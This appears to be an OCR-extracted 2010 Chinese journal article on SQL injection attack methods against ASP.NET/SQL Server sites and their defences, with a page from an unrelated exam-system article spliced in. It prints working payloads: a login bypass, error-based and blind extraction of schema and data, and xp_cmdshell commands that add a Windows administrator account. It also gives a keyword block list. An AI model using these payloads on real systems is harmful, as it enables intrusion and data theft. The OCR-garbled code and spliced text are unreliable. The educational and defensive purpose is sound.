lSSN1009-3044E-mail:jslt@cccc.net.cnhttp://www.dnzs.net.enTel:+86-551-56909635690964Computer腼帆柏弦andTechnology电奠知识与技术V01.6,No.23,August2010,PP.6423-6424,6431SQL注入的常见攻击方法及其防范袁志(广州大学华软软件学院。广东广州510990)摘要:矣例介绍SQL注入攻击的几种常见方法,对每种方法的执行原理和关键代码进行说明,通过实例分析总结出SQL注入所依赖的程序漏洞,提出防范SQL注入的方案。关键词:SQL注入:网络攻击中图分类号:TP311文献标识码:A文章编号:1009-3044(2010)23嘲23.田2SQL注入,是指在数据库应用程序中,用户在向应用程序提交的输人数据中包含SQL查询串,从而获取数据和权限的一种攻击方式。SQL注入主要针对B/S模式的应用程序。一些注入方法对C/s模式的应用程序也同样生效。为说明各种SQL注人方法,使用IIS6.0+ASP.NET+SQLServer2005作为开发环境,构造一个通信录网站,该网站可以向注册用户显示好友联系方式。网站地址为http://192.168.0.1,网站有一个登录页面:http://192.168.0.1/login.aspx、一个显示联系方式页面:http//192.168.0.1/ShowContact.aspx?Userld=CaMid,该网站对SQL注入毫无防范,服务器遇到程序错误时将详细错误信息显示给用户。应用程序用sa作为数据库连接用户。下面结合对该网站的SQL注入实例来介绍常见的SQL注入方法,在实例分析的基础上,介绍防范SQL注入的措施。lSQL注入的常见方法1.1注入“或选择”获取数据在浏览器与网站服务器交互的过程中。测览器将用户输入的数据传递给服务器.服务器端程序使用传人的数据构成SQL语句与数据库交互,当用户在输入的数据中注入SQL查询,构成SQL注入。浏览器向服务器提交数据的方式有Get和Post两种。以下分别来说明。例1:在登录页面的表单内进行SQL注入。绕过登录检测。用户在登录页面输入用户名和密码后,用Post方式提交给服务器,应用程序将输入数据与数据库中的数据进行匹配.如果有满足条件的行,则认为通过了身份验证。猜测程序中构造的SQL语句是:SELECT+FROM【表名】Where【列名l卜’usedd’and【列名2】=’pwd’。此时,可以在表单内进行SQL注入,用户名输入Ⅺ【,密码输入醢’Or‘l’=’l,则程序构造的SQL语句变成:SELECTFROM【表名】Where【列名11=’】【x’and【列名2】=’xx’or‘l’=’l’……(1)(1)的前半部分是程序正常情况下的逻辑,带下划线的部分是注入的危险代码,基于(1)的SQL查询。不管数据【表名】、【列名1】、【列名2】是什么,也不管输入的xx是什么,最后都将通过身份验证。这是一个POST注入实例。例2:在显示页面的地址栏进行SQL注入。以获取更多数据。正常的地址栏显示是http//192.168.0.1/ShowContact.aspx?Userld=xx,浏览器以Get方式将Userld的值珏传递给服务器,服务器从数据库中取数据,将娃的好友信息传递给浏览器显示在页面上,猜测程序中构造的SQL语句是:SELECT率FROM【表名】Where【列名】=’珏’。此时,可以在地址栏内进行SQL注入,将地址栏修改为http//192.168.0.1/ShowContact.aspx?Usedd--xx’or‘l’=’1。这样程序最后构造的SQL语句变成:f表名】Where冽名仁’取’or‘l’=’l’……(2)(2)式中,带下划线的部分是SQL注人的危险代码,基于(2)的查询,可以将所有的通信信息都会显示出来。这是一个Get注入的SELECT+From实例。例(1)和例(2)的共同点是通过注入“或选择”去获取更多的数据,其中对于字符串类型的参数值,注入时添加了一些单引号,有些程序在输入检查中屏蔽了单引号。此时可以使用chad85)代替单引号。在下文中,为叙述简洁起见,只写出经过SQL注入之后生成SQL语句,注入方式和应用场合基本与例l和例2相同。不再重复。不失一般性,将程序生成的正常的sQL语句统一写成Select【列名】From【表名】Where【条件】。1.2利用服务器返回的错误提示获取数据Web服务器返回的详细错误信息一般用于编程中的调试,但有些程序员在配置网站时,不加处理,使得错误信息公布给终端用户,利用这些错误信息,可以获取系统的诸多消息,从而为SQL注入提供了便利。例3:利用服务器返回的错误信息,获取网站连接数据库的用户名。收稿日期:2010—06—26作者简介:袁志(1971-),男,系统分析师,研究方向为信息系统开发,网络安全。本栏目责任编辑:代影万方数据··-·。···t曩牟与值息蕾曩·-6423ComputerKnowledgeandTechnology电■知识‘i技术第6卷第23期(2010年8月)注入后形成的SQL语句如下:SELECT}Fromf表名1Where【列名1---=’anduser>O……(3)(3)中,user是SQLServer的一个内置变量,它的类型为nvarehar,值是当前数据库连接的用户名。应用程序运行该语句,将nvarchar的值与O比较,先试图将nvarchar的值转成int型,转换过程会出错,SQLServer的出错提示是:将nvarchar值“dbo”转换数据类型为int的列时发生语法错误。dbo就是数据库的用户名。本例中,使用的是舳。提示是dbo,如果是其他的数据库连接用户,将会提示用户的原名。例4:获取数据库名、表名、列名让程序构造以下SQL语句,这些SQL语句在运行时都会发生错误,并将错误的详细信息公布给用户。从(4)的错误信息可以获得数据库名,从(5)的错误信息可以获得所有表名,从(6)lgJ错误信息可以获得所有列名。Select【列名】From【表名】Where【条件】anddb_name0>O……(4)(4)中,dbname0是SQLServer的系统函数。返回的是连接的数据库名。Select【列名】Fromf表名】Where【条件】and(Selectl表示第1个表。Select【列名】Fromf表名】Where【条件】and(Select获取表中的列名。1.3通过“:”注入新查询由于SQLServer支持在一条语句中包含多条查询,因此,如果在注入语句中添加一个分号,其后注入Insert,DELETE,UPDATE等语句,就可以实现数据修改,注入DDL语句可以修改数据库的结构。此时的前提是要获知库名、表名、列名。例5:通过SQL注入,增加数据行Select[列名JFromToplToplnamefromsysobjeetswherextype=’U’andstatus>O)>O……(5)(5)中,sysobjects是SQLServer的系统表,存储着表、视图、约束及其它对象信息,xtype=’U’andstatus>{),表示用户建立的表名,Topcolname(object_id(‘表名’),1)fromsysobjects)>O……(6)(6)中,用object_id(‘表名’)获取表名对应的内部ID,colname(表名ID,1)代表该表的第1个字段名,将l换成2,3,4…就可以逐个f表名JWheref条件】:InserIntoTU∞r(UserId,pwd)Values(‘麟’,’双’)……仍f71可以在TUser中加入一行。其中的表名和列名可以通过例4中的方法获得,如果服务器关闭了错误提示,则只能猜测了。1.4猜测机密数据在服务器关闭了错误提示的情况下,直接获得表名、列名等信息已经不可能了,此时通过反复执行SQL注入可以猜测一些数据,比如数据表名、列名,甚至是数据表中的数据。例6:猜测数据库中存放用户名和密码的表名构造注入语句如下:Select【列名】From【表名】Where(条件】and(SelectCount(奉)Fromf猜测表名】)>O……(8)由于存放用户名和121令的表名有一定规律叮循,这种猜测的成功机率极大。比如,猜测表名可以写成TUser,Admin等,如果执行以上语句,网站还是可以正常地显示数据,则猜测表名是对的,用同样的方法,可以猜测列名。例7:猜测用户表中存放的用户名在例6的基础上,假设已知表Admin中存在usemame字段,来猜测第一条记录的use眦e的值。首先用第(91式测试其长度:Select【列名】From【表名】Where【条件】and(selecttop1len(usemame)fromAdmin)>0……(9)如果topl的usemame长度大于0,则条件成立,>l,>2测试下去,一直到条件不成立为止,得到n∞rname的长度。现在来猜每一位的字符,用substring(usemame,N,1)截取第N位字符,当然不能把这个字符与所有的可能字符进行比较,变通的方法是取这个字符的ASCII码。比如:Select【列名】From【表名】Wheref条件】and(selecttoplase(mid(usemame,l,1))fromAdmin)between63and95……(10)使用(10)式,逐步缩小ASCII码的范围,最终得到第l位字符的ASCII码,然后用nchar(数字)根据ASCII码返回字符,同样的方法可以得到所有的字符。如果写成程序测试,效率会有极大的提高。SQLServer中,中文的是UNICODE的双位编码,不能用函数ascii0取得ASCII码,必须用函数unieode0返回unicode值,再用nchar函数取得对应的中文字符。lj利用数据库登录用户的权限获取服务器控制权SQLServer与操作系统有紧密的联系,sa是个等同Adminstrators权限的角色。当网站应用程序使用sa来连接数据库时,通过网站上的SQL注入,可以以Administrator的权限管理服务器。例8:通过SQL注入将数据库下载到客户机。Select【列名】From【表名1Where【条件];execmaster..xp_emdsbeU“netMyPwd/add”一…·(11)(11)执行存储过程xp_emdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为me、密码为MyPwd的win-dows的帐号.这种方法只适用于用sa连接数据库的情况。接着:Select【列名】From【表名】Where【条件];execmaster..xp_emdshell“netloealgroupadministratorsme/add”……”(12)(12)将新建的帐号me加入管理员组,从而得到系统最高权限。SelectI列名】From【表名】Wheref条件];backupdatabase库名tOdisk=’c:、wwwroot\1.db’……(13)将得到的数据库名,加上网站服务器出错信息中暴露出的绝对路径,将数据库备份到Web目录下面,再将备份文件下载到客户机,这已经不是本文的范围。(下转第6431页)6424··数曩库与僖矗■曩-··-··-一本栏目责任编置:代髟万方数据第6卷第23期(2010年8月l6)考生考试资格管理ComputerKno刚edgeandTechnology电奠知识与技术考生考试资格窗El中显示考生信息,方便对考生信息进行浏览;并可取消个别考生考试资格或给予考生补考机会。7)在线监控模块作用是对所有正在考试的考生进行监控,通过监控页面,管理人员可以及时了解考生参加考试的情况、可监视所有考生的考试状态。8)题库管理题库管理模块必须能方便地对题库进行添加、修改、删除。为了方便试题选取,试题的质量将对整个考试系统的质量起着关键性的作用。对每道试题设置了难度属性,管理员将试题录入并提交后保存到数据库。9)成绩分析模块对已参加考试的考生进行成绩分析,也可导出成其它格式的文件。以便和其它的信息系统兼容。2.2考试系统前台模块主要功能是考生选择考试科目后进行在线考试,查询考试成绩。1)在线考试模块的实现考生登录成功后,进入考试界面,选择所要进行的考试科目进入考试并开始计时,并把考试状态变为“正在考试”。试题的显示顺序随机显示,有效克服考试过程中违纪显现。考试开始后。每隔一定时间系统会自动保存答题信息,也可以由考生自己保存,考完后可以提前点击“交卷”按钮;如果时间已到,系统会自动交卷。2)考生考试成绩的查询考生交卷后。可以立即查询客观题型的准确成绩,主观题的成绩则要等管理员或教师人工批阅完成后才能查询。3系统实现基于网络考试系统采用B/s结构的特点,服务器端采用Windows2000Server操作系统,并添加了Internet信息服务组件;数据库服务器采用SQLServer2000提供了对高效的存储过程和灵活的用户自定义甬数的支持.并实现了据完整性的控制,通过对数据库的操作来实现各种考试信息的分配与管理,并把试题、考生信息、成绩存放在数据库中,以供程序访问;而客户端只需利用操作系统提供的浏览器,只要客户端为能上Intemet网的机器就可以进行考试。4结束语本文对网络通用考试系统进行了全面的分析,介绍了利用ASP和SQLServer编写的多学科考试系统设计与功能模块。该系统用户界面友好,操作简单,支持自主创建考试科目,实现教考分离;推行教学改革、提高教学质量的一个重要举措;节约r大量的人力、物力资源。净化了考试风气。其组卷、试卷管理方面功能全面、稳定性好、维护简单,目前已在多个教学班试用,效果较好。参考文献:【l】夏利民.ASP网络编程技术与实例[MI.南京:东南大学出版社,2001【2】顼宇峰.ASP+SQLServer典型网站建设案例【M】.北京:清华大学出版社,2006,【3】周学泳.ASP+SQLSERVER开发网上商店【M1.北京:人民邮电出版社,2000.(上接第6424页)2防范SQL注入的措施经过上面的实例分析,可以看到,SQL注入之所以能够奏效,主要因为在服务器配置、应用程序设计、以及数据库安全管理等三个方面存在漏洞,防范SQL注入可以从这三个方面人手。1)服务器配鼍。对终端用户,关闭错误信息提示,遇见程序错误。转到一个设计好了的错误提示页面。2)应用程序设计。检查客户端提交的参数,对含有”exee、insert、select、delete、from、update、count、user、xp_cmdshell、add、net、Asc”等字符的输入参数,不予响应;对数据库中存放的用户密码加密,比如用MD5加密;应用程序生成SQL查询串,尽量不要使用字符串拼接,而使用参数化的输入。31数据库安全措施。建议不要windows的管理员、Sa、数据库的所有者作为应用程序连接SQLServer的用户。为应用程序创建一个用户,该用户只能执行select语句和指定的储存过程,对系统表和系统存储过程没有访问权限。参考文献:【1】SQLinjeefion[EB/OL].http://en.wikipedia.org/wiki/SQL_injection.f2】尹静.提高ASP.NET应用程序的安全性fJ】.成都信息工程学院学报,2005.【3】孙磊.Asp.Net在远程控制中的应用fJ】.工程设计学报,2005.【4】朱志辉.基于Asp.net的信息管理系统安全性设计和考虑【J】.广州大学学报:自然科学版,2004.本栏目责任编辑:代影万方数据-·---·-·t据库与信息■曩··6431SQL注入的常见攻击方法及其防范
作者:作者单位:刊名:英文刊名:年,卷(期):
袁志
广州大学,华软软件学院,广东,广州,510990电脑知识与技术
COMPUTER KNOWLEDGE AND TECHNOLOGY2010,06(23)
1.朱志辉 基于Asp.net的信息管理系统安全性设计和考虑[期刊论文]-广州大学学报(自然科学版) 2004(5)2.孙磊 Asp.Net在远程控制中的应用[期刊论文]-工程设计学报 2005(1)
3.尹静 提高ASP.NET应用程序的安全性[期刊论文]-成都信息工程学院学报 2005(2)4.SQL injection
本文链接:http://d.g.wanfangdata.com.cn/Periodical_dnzsyjs-itrzyksb201023012.aspx